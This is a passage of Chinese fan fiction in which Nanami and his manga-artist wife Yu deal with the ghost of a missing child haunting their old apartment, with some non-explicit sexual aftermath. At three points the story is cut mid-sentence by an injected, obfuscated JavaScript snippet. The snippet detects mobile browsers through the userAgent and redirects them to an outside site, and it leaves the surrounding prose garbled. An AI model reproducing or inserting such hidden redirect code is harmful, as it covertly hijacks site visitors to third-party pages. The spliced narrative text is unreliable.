来看展览的人不多,大多是些怀旧的中老年人。 悠看得很认真,在一组拍摄于六七十年代的老公寓照片前停留了很久。 那些照片里的建筑结构和内部布局,与他们现在住的公寓惊人地相似。 “你看这张,”悠指着其中一张照片,“这个楼梯的扶手,和我们公寓的一模一样。还有这个走廊的照明灯……” 七海顺着她指的方向看去。 黑白照片里,一个穿着旧式校服的小男孩正从楼梯上跑下来,表情模糊,但动作充满活力。 照片下方的说明写着:“1978年,xx区某公寓楼内景”。 “这栋公寓楼,应该和我们是同一时期建的。”悠轻声说,“外婆说过,这附近的好多公寓楼都是八十年代初期集中建设的。那时候东京在准备奥运会,到处都在盖房子。” 她又看了几张照片,然后忽然说:“七海海,你说……房子会不会有记忆?” 七海看向她。“什么意思?” “就是……住过的人,发生过的事,会不会以某种方式‘留’在房子里?”悠的眼睛在展厅昏暗的光线下显得格外深邃,“就像这些照片,它们定格了某个瞬间。但如果没有被拍下来,那些瞬间就真的消失了吗?还是说……会变成别的东西,继续存在?” 这个问题太接近某些七海不愿深究的领域。 他推了推眼镜,选择了最理性的回答:“建筑材料没有记忆功能。但人的情感投射和心理暗示,可能会让人对特定环境产生特定的感受。” “也是。”悠笑了笑,那笑容有些飘忽,“可能是我最近画新连载,想太多了吧。” 两人继续看展。 但在离开这个展区时,七海回头看了一眼那张小男孩跑下楼梯的照片。 黑白影像里,男孩的身影在楼梯拐角处显得格外模糊,几乎要融入背景的阴影中。 不知为何,那个模糊的身影,让他想起了在超市玻璃倒影里看到的那个矮小轮廓。 从美术馆出来,两人去了附近的大型书店。 悠直奔艺术图书区,七海则在商业书籍区找了本最近出版的金融分析著作,坐在阅读区的沙发上翻阅。 大约半小时后,悠抱着一摞书回来,眼睛亮晶晶的:“找到好多有用的资料!这本是都市传说合集,还有这本——” 她抽出一本装帧诡异的书,封面上是一个扭曲的楼梯图案,书名是《日本公寓楼怪谈考》。 七海抬起眼“你要画关于公寓的恐怖故事?” “嗯,新连载就是设定在一栋老公寓里。”悠在他身边坐下,翻开那本书,“所以要多收集点素材嘛。你看这里——” 她指着一页,“‘深夜的阶梯脚步声’,好多怪谈里都有这个元素。还有这个——‘空房间里的儿童笑声’。” 七海看着她手指划过那些文字,心中那股微妙的不安又升了起来。“悠。” “嗯?” “你画这些的时候……会不会害怕?”七海问,声音很平静,“我是说,沉浸在这种题材里,可能会影响情绪。” 悠眨了眨眼,然后笑了:“不会呀。反而觉得……很安心。” “……安心?” “嗯”悠合上书,抱在怀里,“因为我知道那些都是故事。是被人创作出来、被人讲述的东西。而现实……”她顿了顿,声音轻了下来。 “现实比故事温柔多了。至少我的现实是这样。” 她说着,转头看向七海,眼睛弯成月牙:“因为我有七海海呀。有你在,我什么都不怕。” 七海看着她灿烂的笑容,心中某个坚硬的地方被轻轻触动了。 他伸出手,指尖在她耳廓停留了片刻。 “嗯。”他低声说,“我在。” 在书店又待了一个多小时,两人提着新买的书走向超市。 周日的街道熙熙攘攘,阳光很好,初夏的风带着温热的气息。 经过社区公园时,悠的脚步慢了下来。 秋千还在那里晃荡。 最靠边的那个空着,深蓝色的塑料板在阳光下反射着刺眼的光。 座位上那个手掌形状的水渍已经几乎看不见了,只留下一片颜色略深的阴影。 悠静静地看了几秒,然后从口袋里掏出一小包刚才在便利店买的牛奶糖。 她撕开包装,取出一颗,轻轻放在了秋千旁的地面上。 “给。”她轻声说,然后转身挽住七海的手臂,“走吧。” 七海没有问为什么。他只是握紧了她的手,带着她离开公园。 但走出几步后,他回头看了一眼。 那颗白色的牛奶糖安静地躺在水泥地上。秋千在微风中轻轻晃动,铁链发出细微的摩擦声。 而在秋千的影子边缘,那片树荫最浓重的地方,似乎有什么东西——一个小小的、模糊的轮廓——正蹲在那里,面朝着牛奶糖的方向。 只是一闪而过。再看时,那里只有斑驳的树影。 七海转回头,将悠的手握得更紧了些。 晚饭是七海做的——姜烧猪肉、凉拌菠菜和味噌汤。 悠吃得津津有味,时不时夸一句“七海海做饭越来越好吃了”。 饭后,七海去洗碗,悠则坐在客厅地板上,开始翻看她今天买的那些书。 暖黄的灯光洒在她身上,她专注的侧脸在光影中显得格外柔和。 七海洗完碗,擦干手,走到她身边坐下。 “找到有用的素材了吗?”他问。 “嗯,好多。”悠头也不抬,手指划过书页上的一段文字,“你看这个——‘居住在老旧公寓的独居女性,每晚都会听到隔壁空房间传来孩子的哭声。她报警、投诉,但所有人都说那是她的幻听。直到有一天,她在自己房间的墙壁夹层里,发现了一个已经干瘪的婴儿奶嘴’。” 七海看着那行字,又看了看悠专注的表情。“这和你之前画的那个故事很像。” “是啊,恐怖故事的主题来来去去就那些。”悠耸耸肩,“但每次看到新的版本,还是会觉得……啊,原来还可以这样表达。” 她继续翻页。客厅里很安静,只有书页翻动的沙沙声,和窗外隐约传来的车声。 不知过了多久,悠忽然轻声说:“七海海。” “嗯?” 她没有抬头,手指停在一张插图上——那是一栋老旧公寓楼的剖面图,每个窗户里都画着模糊的人影,“如果我们住的这栋楼,真的有什么恐怖东西……你会怎么做?” 七海沉默了几秒。 “首先确认它是否有威胁。”七海选择了最理性的回答,“如果没有,可以观察。如果有……” 他没有说下去。 悠抬起头看他,黑色的眼眸在灯光下清澈见底。 “如果有的话?” “我会保护你。”七海说,声音平静而坚定,“无论如何。” 悠看了他很久,然后笑了,那笑容温柔得像要融化在灯光里。 她放下书,爬过来,跨坐到他腿上,双手环住他的脖子。 “七海海真可靠。”她小声说,额头抵着他的额头,“但是啊……我也要保护七海海。” 七海的手扶在她腰侧,感受着她身体的温热和柔软。 “你不需要——” “需要。”悠打断他,声音很轻,但很认真,“因为是七海海。所以我要保护你。” 她说这话时的表情太温柔,眼神太坚定,让七海一时不知该如何回应。 他只能收紧手臂,将她紧紧抱在怀里。 悠满足地哼了一声,脸埋在他肩窝。 两人就这样静静相拥,客厅里只有彼此的呼吸声和心跳声。 但就在这时—— “咚。” 一声轻微的敲击声,从墙壁的方向传来。 很轻,很短暂,像是有人在隔壁轻轻敲了一下墙。 但七海知道,隔壁601室是空房,已经空置了至少三个月。 悠的身体微微僵了一下。 “咚。” 又一声。 这次更清晰了些,而且是从另一个方向传来的——电视柜旁边的那面墙。 七海缓缓松开悠,看向那个方向。 客厅的灯光很亮,墙壁上空无一物,只有他们自己的影子投在上面。 “可能是热胀冷缩。”悠说,声音很平静,但七海能感觉到她身体的紧绷,“老房子晚上经常有这种声音。” “咚。” 第三声。 这次是从天花板传来的——正上方,他们头顶的位置。 但七楼是顶楼,上面只有天台。 七海站起身,将悠护在身后。 他的目光锐利地扫过客厅的每一个角落。 但什么也没有。 没有咒力的波动,没有异常的影子,没有任何肉眼可见的“东西”。 只有寂静。深沉的、仿佛能将人淹没的寂静。 “七海海。”悠轻轻拉住了他的手,“没事的。” 七海转过头看她。悠的脸上没有恐惧,只有一种近乎悲悯的平静。 她握紧他的手,手指有些凉。 “它只是在打招呼。”她轻声说,“因为今天……是那个日子。” “……什么日子? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154062|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 悠没有立刻回答。她走到电视柜前,蹲下身,从最下面的抽屉里拿出一个旧相框。 相框里是一张泛黄的照片——一个小男孩站在公园的秋千旁,笑得很开心。照片背面用钢笔写着:“健太,7岁,2008.6.15”。 “十年前的今天,”悠的声音很轻,“这个孩子在这附近的公园失踪了。一直没找到。” 七海看着那张照片。 照片上的男孩大约六七岁,穿着短裤和T恤,脸上是天真无邪的笑容。 背景正是他们今天经过的那个社区公园,秋千在阳光下闪着光。 “你怎么知道?”七海问。 “外婆告诉我的。”悠抚摸着相框的玻璃,“这孩子以前住在这栋楼里,经常在公园玩。失踪后,他家人搬走了,但楼里的老人们都还记得。每年这一天……” 她没有说下去。 但七海明白了。 每年这一天,楼里就会出现那些“声音”。邻居们听到的孩子跑跳声、笑声、哭声——都是记忆的回响,是未能安息的思念,是迷失在时间夹缝中的存在。 “它不坏。”悠重复着之前说过的话,将相框放回抽屉,“只是迷路了,很孤独。” 七海看着她平静的侧脸,心中涌起一股复杂的情绪。 悠知道。 她一直都知道这栋楼里有什么,知道那些怪声音的来源,知道邻居们的恐惧是什么。 但她选择用这种方式面对——不是恐惧,不是逃避,而是接纳。 “你不怕吗?”七海问。 悠站起身,走回他身边,重新握住他的手。 “怕过。小时候第一次听到那些声音,怕得整晚睡不着。”她笑了笑,“但外婆说,恐惧是因为不理解。如果你知道那是什么,为什么在那里,也许就不那么怕了。” 她顿了顿,看着七海的眼睛:“而且现在,有你在身边。所以一点都不怕了。” 七海将她拉进怀里,紧紧抱住。 悠顺从地依偎着他,脸贴在他胸口。 “咚。” 又一声敲击,从卧室的方向传来。 但这次,声音里似乎带上了一点不同的意味——不再是单纯的重复,更像是一种试探性的、小心翼翼的叩问。 悠从七海怀里抬起头,看向卧室的方向。她犹豫了一下,然后轻声说:“你说它会不会在问……我们会不会也离开这里。” 七海低头看她。 “你想回答吗?” 悠想了想,然后点点头。 “那七海海会嫌我幼稚吗?” “为什么会这样想?”七海抵住她的发顶。 悠拉着七海的手,走到卧室门口,但没有进去。 她只是站在门口,对着黑暗的房间轻声说: “我们不会走的。” 声音很轻,但很清晰。 “这里是我们的家。我们会一直住在这里。” 寂静。 深沉的寂静。 然后,从卧室的深处,传来一声极其轻微的、几乎听不见的叹息。 悠长的,湿润的,仿佛终于放下了什么重担的叹息。 之后,整晚再没有任何声音。 深夜,两人躺在床上。 悠已经睡着了。 七海却还醒着,在黑暗中睁着眼睛。 他的手臂环着悠的腰,手掌贴在她平坦的小腹上,感受着她。 他的另一只手,则无意识地抚摸着她的头发,指尖缠绕着那些顺滑的发丝。 今天发生的一切——美术馆的老照片,书店的怪谈书籍,公园的秋千,还有今晚那些敲击声和悠的回应——都在他脑中反复回放。 悠她一直都知道。 但她选择用那种方式面对,温柔地接纳那些异常的存在。 而他自己呢? 作为前咒术师,他的第一反应永远是警戒、评估、必要时祓除。 但悠的方式……似乎也是一种选择。 一种更温和,也许更艰难的,与异常共存的选择。 他低头,看着怀中人安详的睡颜。 悠在睡梦中无意识地蹭了蹭他的胸口。 七海闭上眼睛,将脸埋进她的发间。 洗发水的花果香气混合着她肌肤的暖香,形成一种令人安心的气息。 他选择的生活。 他选择的妻子。 他选择守护的日常。 即使这日常之下,潜藏着无法用常理解释的缝隙。 但只要怀里的这个人安然无恙,只要这个家还在。 他就会继续守护下去。 用他的方式。 也用她教会他的方式。 15. 暗影 闹钟还没响,七海已经醒了。 准备来说是被压醒,身侧的悠还在熟睡——以一种几乎算得上是霸道的姿势。 她整个人侧蜷着,脸埋在他肩窝,黑发如海藻般散乱在枕间。 一条腿毫不客气地跨压在他身上,手臂则紧紧环着他的腰,仿佛怕他逃跑。 她的呼吸均匀绵长,带着睡眠特有的暖意和一丝极淡的、属于她的甜香。 七海没有立刻动。 他维持着平躺的姿势,静静感受着这份重量和温度。 他的目光落在悠的睡颜上。 晨光勾勒出她侧脸的柔和线条,长睫在眼睑投下淡淡的阴影。 她的嘴唇微微张着,唇色因为昨夜的折腾而略显红\/肿——七海想起昨晚的事,喉结几不可察地滚动了一下。 昨晚是周日,没有加班,没有访客,只有他们两个人。 悠以“庆祝周末结束”为由开了瓶红酒,用餐结束后她的手就开始不老实——先是假装不经意地碰碰他的手臂,然后是胸口,最后干脆整个人钻进他怀里。 “七海海……”她在黑暗中仰起脸,眼睛亮得像星子,“我们去做点别的吧?” 后来的事就失控了。 从沙发到卧室,从卧室到浴室,再到凌晨时分重新回到床上。 七海记得她哭着求/绕的样子,记得她湿漉漉的眼睛和泛红的脸颊,记得她手指在他背上留下的痕迹——作为一级咒术师,他的身体经过高强度训练,恢复力和耐力都远超常人。 而悠……只是普通人。 此刻,看着怀中人沉沉熟睡的模样,七海心中涌起一丝复杂的情绪——是满足,是怜惜,还有愧疚和心虚。 他昨晚确实有点失控了。 悠在睡梦中动了动,喉咙里发出一声模糊的咕哝。 她的手从他腰间滑落,无意识地搭在他小\付上,指尖隔着睡衣布料轻轻划过。 七海的身体几不可察地绷紧了一瞬。 他动作很轻,但还是惊动了她。 “嗯……”悠半睁开眼,黑色的眸子里还蒙着一层水汽,“七海海……几点了?” “六点五十五。”七海低声回答。 “这么早……”悠嘟囔着,脸又往他肩窝里蹭了蹭,“再睡一会吧……老公大人……” 她的声音黏糊糊的,带着晨起特有的沙哑和撒娇的意味。 七海看着她困倦的模样,想起昨晚她体力不支最后昏睡过去的样子,心中的愧疚又多了几分。 “你可以多睡一会儿。”他说,“今天我要早点去公司。” 悠却摇摇头,强撑着睁开眼。 “不要……我要给七海海做便当。”她说着试图坐起身,但刚起到一半就“嘶”地倒吸一口凉气,又跌回他怀里。 “……怎么了?”七海问,其实心里清楚原因。 “腰……好酸。”悠苦着脸,手指无意识地揉着后腰,“腿也软……七海海你昨晚太……” 她没说完,但耳朵已经红了。 七海看着她羞窘的模样,嘴角几不可察地向上弯了弯。 他将她重新揽进怀里,手放在她腰后,力道适中地按摩起来。 “下次我会注意。”他平静地说。 “骗人。”悠闷在他胸口,声音里带着委屈,“上次你也这么说。” “这次是真的。” “才不信。”悠抬起头瞪他,但这个瞪眼没什么威慑力,反而因为眼角的朝红和凌\乱的黑发显得格外诱人。 七海低头亲了亲她的眼角。 “那你可以监督。” 悠哼了一声,但身体已经软下来,享受着他的按摩。 晨光在房间里缓慢移动,从灰蓝变成淡金。 两人就这样静静相拥了几分钟,直到七海的手机闹钟响起。 “我该起床了。”七海说,但手上的动作没停。 “嗯……”悠不情不愿地应了一声,然后像是想起什么,忽然抬起头,“对了七海海,昨晚……你有没有听到什么声音?” 七海按摩的手停顿了半秒。“什么声音?” “就是……很轻的敲击声。”悠的声音变得有些不确定,“像是有谁在敲墙。但我太累了,迷迷糊糊的,不知道是不是做梦……” 七海看着她。 悠的表情很自然,带着刚睡醒的迷糊和一点困惑,完全看不出试探的痕迹。 但七海注意到,她说话时,眼睛的余光不自觉地瞟了一眼卧室的墙壁——那面与客厅相邻的墙。 “可能是热胀冷缩。”七海解释,“老房子晚上常有这种声音。” “也是。”悠点点头,但眉头还微微蹙着,“听起来……还很有节奏感。” 她说着,从床上坐起身。 这次她动作慢了很多,一只手撑着腰,一只手扶着床沿,像个老太太一样小心翼翼地移动。 七海看着她这副模样,心虚感又冒了出来。 “今天你别做饭了。”他说,“我去便利店买便当。” “不行!”悠立刻反对,“便利店便当哪有营养。而且我都想好今天做什么了——照烧鸡肉和玉子烧,还有小番茄和西兰花,营养均衡。” 她说着已经下了床,光脚踩在地板上,脚步还有些虚浮,但眼神很坚定。 七海知道拗不过她,只能起身扶着她跟上。 “至少让我帮忙。”他说。 悠转头对他笑了笑,那笑容在晨光中有种近乎透明的柔软。 “那就帮我切菜吧。七海海刀工好。” 七点多,七海站在玄关整理公文包。 悠从厨房走出来,手里提着便当袋。 “给。”她踮脚在他脸颊上亲了一下,“今天做了双份的玉子烧,知道你昨天消耗大。” 七海的耳朵瞬间热了起来。 他接过便当袋,手指擦过她的手背。 “谢谢”他声音有些干涩。 悠看着他微红的耳根,眼睛弯成了月牙。 “七海海害羞的样子真可爱。”她小声说,然后正了正神色,“对了,今天下班会准时吗?” “应该可以。”七海看了眼手表,“项目第一阶段完成了,今天主要是整理报告。” “那就好。”悠笑着推他,“快出门吧,要迟到了。” 七海穿好鞋,提起公文包和便当袋,回头看向悠。 “我出门了。” “一路平安!晚上见!这是早安吻!” 门在身后关上。 七海站在走廊里,没有立刻走向电梯。 他低头看着手里的便当袋,脑中回放着刚才悠的柔软的亲吻和话语。 电梯从楼上降下来,发出老旧缆绳摩擦的声响。 七海紧了紧领带,走进空无一人的轿厢。 电梯开始下行。 在失重感的瞬间,七海忽然想起昨晚的某个细节——在情事最激烈的时候,悠忽然紧紧抱住了他,脸埋在他肩头,用近乎呜咽的声音说:“七海海……你身上……有光……” 电梯抵达一楼,门打开。 七海走出公寓楼,清晨的阳光刺眼而明亮。 他深吸一口气,将脑中的杂念压下。 门关上,悠脸上的笑容慢慢淡了下去。 她在玄关站了几秒,听着电梯下行时缆绳摩擦的声响逐渐消失。 然后她转身,赤脚踩在微凉的木地板上,没有立刻去客厅,而是先走向卧室。 她在床边坐下,手轻轻按着后腰。酸痛感比刚才更明显了,大腿内侧也隐隐作痛。 七海的体力……好得不像正常人。 昨晚她明明已经求饶了,明明已经累到手指都抬不起来了,但他还是能继续,而且动作丝毫不见疲态。 这不正常。 悠心想。普通人不会有那样的耐力,那样的恢复力。 她想起昨晚某些时刻,七海身上隐约浮现的、几乎看不见的微光——像是静电,又像是某种能量的流动。 还有他偶尔流露出的、过于锐利的眼神,那种仿佛能看清一切的警觉。 以及今早,她问起“敲击声”时,他回答得太标准了。 就像早就准备好了答案。 悠躺回床上,盯着天花板。 晨光透过窗帘缝隙,在天花板上投下细长的光带。 她能看见——在光带边缘的阴影里,有一些细微的、普通人看不见的东西在蠕动。 像细小的虫,又像是文字的碎片。它们在阴影中缓慢移动,组成了某些模糊的图案,然后又散开,重新组合。 悠已经习惯了。 从小就能看见这些东西,一开始是恐惧,后来是困惑,最后变成了某种麻木的接纳。 外婆说,这是她的“天赋”——或者说“诅咒”。 能看见另一个维度的存在,却无法触碰,无法交流,只能被动地观察。 就像隔着玻璃缸看水族馆里的鱼。 她躺了一会儿,直到腰部的酸痛稍微缓解,才起身走进客厅。 早晨的阳光洒满整个空间,将一切照得明亮而清晰。 但悠的眼睛看到的不是这样——在她眼里,客厅里充满了普通人看不见的“存在”。 电视柜旁的地板上,那块颜色略深的“污渍”在晨光下呈现出清晰的轮廓。 那不是猫——从来都不是。 那是一个蜷缩着的、孩童大小的阴影,边缘微微蠕动,像水面下的倒影。 颜色也不是单纯的深褐,而是一种近乎墨绿的暗色,仿佛深潭底部的水草。 悠走过去,蹲下身,伸出手指轻轻触碰那片区域。 触感干燥,纹理正常,看起来就只是一块因为年代久远而色泽变深的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【6月23日,周一,晴。客厅电视柜旁。孩童形态阴影,蜷缩状。边界较昨日清晰,颜色墨绿偏深蓝。对晨间问候有微弱反应(边缘蠕动加快)。形态稳定,无明显变化。】 【同日,厨房墙角。灰雾状流体,沿墙壁移动。速度缓慢,路径固定(冰箱→墙角→窗台)。喜温暖处,常聚集在冰箱后方。】 【同日,天花板角落。蛛网阴影,人脸纹路。固定位置,无移动迹象。情绪特征:悲伤(纹路加深)。】 悠敲完这些字,盯着屏幕看了几秒,然后打开绘图软件。 她开始画今天新连载的一格——女主角在深夜被细微的敲墙声惊醒,她坐起身,看向卧室墙壁。 墙壁上,一个模糊的孩童轮廓正缓缓浮现。 她画得很专注。 线条流畅而精准,阴影的处理细腻逼真。 她不需要参考任何资料,那些形态就清晰地印在她脑子里——因为她每天都在看着它们。 画到墙壁上孩童轮廓的细节时,她忽然停住了笔。 因为就在她眼前的书房墙壁上,一片新的阴影正在成形。 像墨水滴入清水般缓慢晕开,逐渐勾勒出一个轮廓——那是一个成年男性的侧影,短发,挺直的鼻梁,戴着眼镜。 七海的轮廓。 悠盯着那片阴影,呼吸停滞了一瞬。 影子没有动作,只是静静地映在墙上,仿佛只是光影的巧合。 但她知道不是。 这片影子是刚刚出现的,就在她画到“墙壁浮现人影”那一格的时候。 而且它的形态太具体了——具体到能看出是七海今天早上穿的那件衬衫的领口样式。 更让她心惊的是,这片影子的边缘,隐约闪烁着极其微弱的、金色的光——就像昨晚她在七海身上看到的那种光。 悠缓缓站起身,走到墙边。她伸出手,指尖几乎要触碰到那片阴影。 就在这时,阴影忽然消散了。 像被风吹散的烟,瞬间无影无踪。 悠的手指僵在半空中。 她维持着这个姿势站了几秒,然后慢慢收回手。 她走回书桌前,看着屏幕上画了一半的漫画。 女主角还在看着墙壁,墙上的孩童轮廓还没有完成细节。 悠闭上眼睛,深吸一口气,再睁开时,表情已经恢复平静。 她坐下,继续画画。 但这一次,她修改了那一格。 将墙壁上的孩童轮廓擦掉,改成了普通的、空无一物的墙面。 有些东西,她不想画进漫画里。 有些东西,她想当作没看见。 16. 秘密 上午十一点,门铃响了。 悠从猫眼看出去,发现是坂本太太。 “七海太太,没打扰你工作吧?”坂本太太提着一个保鲜盒,“做了太多糯米团子,分你们一些。” “太谢谢了,坂本太太总是这么客气。”悠开门接过,“请进来坐会儿?我正好泡了茶。” “哎呀,那就打扰一下。”坂本太太显然想找人聊天,顺势进了屋。 两人在客厅坐下。 悠端来茶和点心,坂本太太的目光在客厅里扫了一圈,最后落在电视柜旁边的地板上。 “那个污渍……”她皱起眉,“还在啊。我上次不是建议你用漂白水试试吗?” 悠笑了笑:“试过了,没什么效果。可能年头太久,渗进木头里了。” “也是,老房子都这样。”坂本太太叹了口气,压低声音,“说起来,你知道楼下的小佐藤要搬走了吗?” 悠眨了眨眼:“这么快?他才搬来不到两个月吧?” “说是工作调动,但我看啊,是被吓跑的。” 坂本太太的声音更低了,“昨晚他又来找我,说凌晨两点多,清楚地听见有小孩在他天花板上拍皮球。砰砰砰的,持续了十几分钟。他鼓起勇气上楼查看,602是空房,你们又睡在卧室没动静……你说这声音哪来的?” 悠捧着茶杯,指尖轻轻摩挲着温热的瓷壁。 “可能是……管道的声音?老房子的传音有时候很奇怪。” “管道怎么会拍皮球呢!”坂本太太摇头,“而且不止他。四楼的铃木老先生,你也见过吧?古板得很,从来不信这些怪力乱神。结果昨天主动来找我,说他看见‘不干净的东西’了。” 悠抬起眼:“他看见什么了?” “一个小孩。”坂本太太的表情变得严肃起来,“在走廊里。穿着二十年前流行的衣服款式,背对着他。老先生想叫住那孩子,结果一眨眼就不见了。” 客厅里安静了几秒。 只有墙上的挂钟发出规律的滴答声。 “七海太太,”坂本太太往前倾了倾身体,“你们真的什么都没听见,什么都没看见?” 悠迎着她的目光,黑色眼眸清澈平静。 “真的没有。可能是我和我先生都比较迟钝吧。” 坂本太太看了她几秒,然后靠回沙发背,叹了口气。 “没看见也好。有些东西,看见了反而麻烦。” 她又坐了一会儿,聊了些社区的闲话,然后起身告辞。 悠送她到门口时,坂本太太忽然回过头。 “对了,七海太太,你先生……是做什么工作的来着?” “证券分析师。”悠回答。 “哦哦,高级白领啊。”坂本太太羡慕点点头,但眼神里又闪过一丝调侃,“不过总觉得……七海先生身上有种特别的气质。不像普通的上班族。” 悠心里微微一紧,脸上却还是笑着“是吗?可能是因为他比较严肃吧。” “可能吧。”坂本太太没再多说,挥挥手离开了。 关上门后,悠靠在门板上,闭上眼睛。 坂本太太的话在她脑中回响。 ——你先生身上有种特别的气质。 ——不像普通的上班族。 还有铃木老先生看见的那个孩子——穿着二十年前流行的衣服。 那正是2008年,那个叫健太的孩子失踪的年代。 悠睁开眼睛,走回客厅。 她站在电视柜旁,低头看着那块“污渍”。 在普通人眼里,它只是块污渍。 但在她眼里,那个蜷缩的孩童阴影比早上更清晰了些,颜色也从墨绿变成了近乎深蓝。 她蹲下身,伸出手,不是去触碰阴影,而是悬停在它上方。 “是你吗?”她轻声问,“健太?” 阴影的边缘剧烈地蠕动了一下。 整个轮廓忽然变得不稳定,颜色在深蓝、墨绿、暗红之间疯狂切换,像是在痛苦地挣扎。 悠立刻收回手。“对不起,我不该问的。”她小声说,“你不想回答就不用回答。” 阴影慢慢平静下来,重新缩回蜷缩状,颜色变回墨绿,但边缘的蠕动变得迟缓无力,像是耗尽了力气。 悠看着它,心中涌起一股复杂的情绪——有恐惧,有困惑,但更多的是悲悯。 这个存在——不管它是什么——显然在承受着某种痛苦,某种束缚。 她站起身,走向书房。 在书桌抽屉里翻找了一会儿,找出一个旧铁盒——那是外婆留下的,里面装着些零零碎碎的小东西。 悠从里面拿出一颗玻璃弹珠,那种老式的、里面有彩色螺旋纹路的弹珠。 她走回客厅,将玻璃弹珠轻轻放在那块污渍旁边。 “这个给你。”她轻声说,“我小时候最喜欢玩这个。” 阴影没有反应。 但悠能感觉到,那股一直萦绕在周围的、微弱的悲伤气息,似乎淡了一点点。 下午,悠的画稿完成了大半。 保存好文件,她伸了个懒腰,腰部的酸痛让她忍不住皱起眉。 该休息一下了。 她心想。 她走出书房,准备去厨房倒杯水。 路过客厅时,她注意到那块污渍旁边的玻璃弹珠不见了。 不是被挪动了位置,是彻底消失了。 地板上干干净净,什么都没有。 悠站在原地,静静地看着那片区域。 那个孩童阴影的颜色变得明亮了一些——像是初春的潭水。 而且它的形态……似乎舒展了一点点。 虽然还是蜷缩着,但不再那么紧绷,更像是安稳的睡姿。 悠的嘴角几不可察地向上弯了弯。 她没说什么,只是走进厨房,倒水,然后回到书房继续工作。 下午四点半,手机响了。 是七海。 “悠,我五点半左右到家。”他的声音从听筒传来,平静无波,“需要我带什么回来吗?” “不用啦,家里什么都有。”悠说,手指无意识地卷着电话线,“不过七海海,有件事……” “嗯?” “刚才坂本太太来了。”悠斟酌着措辞,“她说楼下的小佐藤要搬走了,因为昨晚又听到小孩拍皮球的声音。” 电话那头沉默了几秒。“……是吗。” “嗯。而且铃木老先生也说看见了一个小孩,穿着旧式衣服,在走廊里。”悠继续说,语气刻意保持轻松,“大家说得有模有样的,搞得我都有点好奇了——七海海,你相信这些吗?” 这次七海沉默的时间更长了一些。 悠能听见电话那头隐约传来键盘敲击的声音,像是在处理工作。 “以坂本太太他们八卦程度,传言通常有夸大成分,”七海最终说,声音依然平静,“老房子本身就容易产生各种声音和错觉。” “也是。”悠笑了,“可能真的是我们太迟钝了,什么都感觉不到。” “……这样也好。”七海说,声音里有一丝悠读不懂的情绪,“有些东西,不知道反而更轻松。” 悠握着电话的手指微微收紧。“七海海这话说得……好像知道什么似的。” 电话那头又沉默了。 良久,七海才开口:“当然属于一个普遍现象。悠,不说了,我还有份报告要处理。晚上见。” “那好吧,晚上见,七海海。” 电话挂断。 悠放下手机,盯着屏幕看了很久。 七海的反应…… 标准的理性,标准的否认,标准的回避。 就像在背诵标准答案。 而且他最后那句“有些东西,不知道反而更轻松”,说得太有深意了。 不像是普通人对怪谈的态度,更像是……某种经验之谈。 悠闭上眼睛,靠在椅背上。 太多疑问,太多线索,但每一个都模糊不清,每一个都无法证实。 也许她该直接问。 也许她该告诉七海,她能看见那些东西,然后问他能不能看见。 但风险太大了。 如果七海真的是普通人,他会怎么看她? 会觉得她疯了?还是觉得她在开玩笑? 而如果七海不是普通人……如果他也在隐瞒,那她的坦白会不会打破某种微妙的平衡? 悠睁开眼睛,看向窗外。 下午的阳光很好,天空湛蓝,云朵蓬松。 这是个普通的工作日午后,她只是个普通的漫画家,丈夫只是个普通的上班族。 五点半,玄关传来钥匙转动的声音。 悠从书房走出来时,七海刚好推门进来。 “欢迎回来!”她说。 “我回来了。”七海放下公文包,目光黏在在她脸上,“你今天看起来……更累了。” 悠心里一惊,但脸上还是笑着:“啊啦,是画稿坐太久了。腰还有点酸……” 她没说完,但意思很明显。 七海的耳朵红了,他松开领带,避开了她的视线。“……抱歉,悠。” “不用道歉啦。”悠走过去,接过他的西装外套,“老公,你晚饭想吃什么?我买了很好的牛肉,可以炖,也可以煎。” “都很好,”七海说,“让我来做吧。你休息。” 悠眨了眨眼:“七海海今天这么体贴?” “只是合理分工。”七海已经走向厨房,“你今天工作了一天,该休息。” 悠看着他挺拔的背影,心中涌起一股暖意。 她跟着走进厨房,靠在门框上看他洗手、系围裙、从冰箱里拿出食材。 七海的动作很有效率,每一个步骤都井井有条。 切肉的手法精准,下锅的时机恰到好处,调味料的用量精确得像在做实验。 悠看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154064|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他专注的侧脸,忽然开口: “七海海。” “嗯?” “你以前……是不是受过什么训练?”悠问,语气尽量随意,“比如厨艺训练?或者……别的什么训练?” 七海切菜的手停顿了半秒。 “为什么这么问?” “就是觉得你做什么都很标准,很有条理。”悠说,“切菜的刀工,做饭的步骤,甚至收拾房间的方式……超级规范了。像士兵一样。” 七海继续切菜,声音平静:“效率最大化是基本原则。规范化的流程可以减少错误和浪费。” “也是。”悠点点头,但眼神里还带着探究,“不过七海海这种程度,已经超过‘效率’的范畴了吧?完全是……军事化训练。我以后想偷懒会被长官大人说不服从管理吧?” 一边说一边脑补画面,悠给自己逗笑了。 “不会……”这次七海没有沉默,“如果你不喜欢,让我来做。” 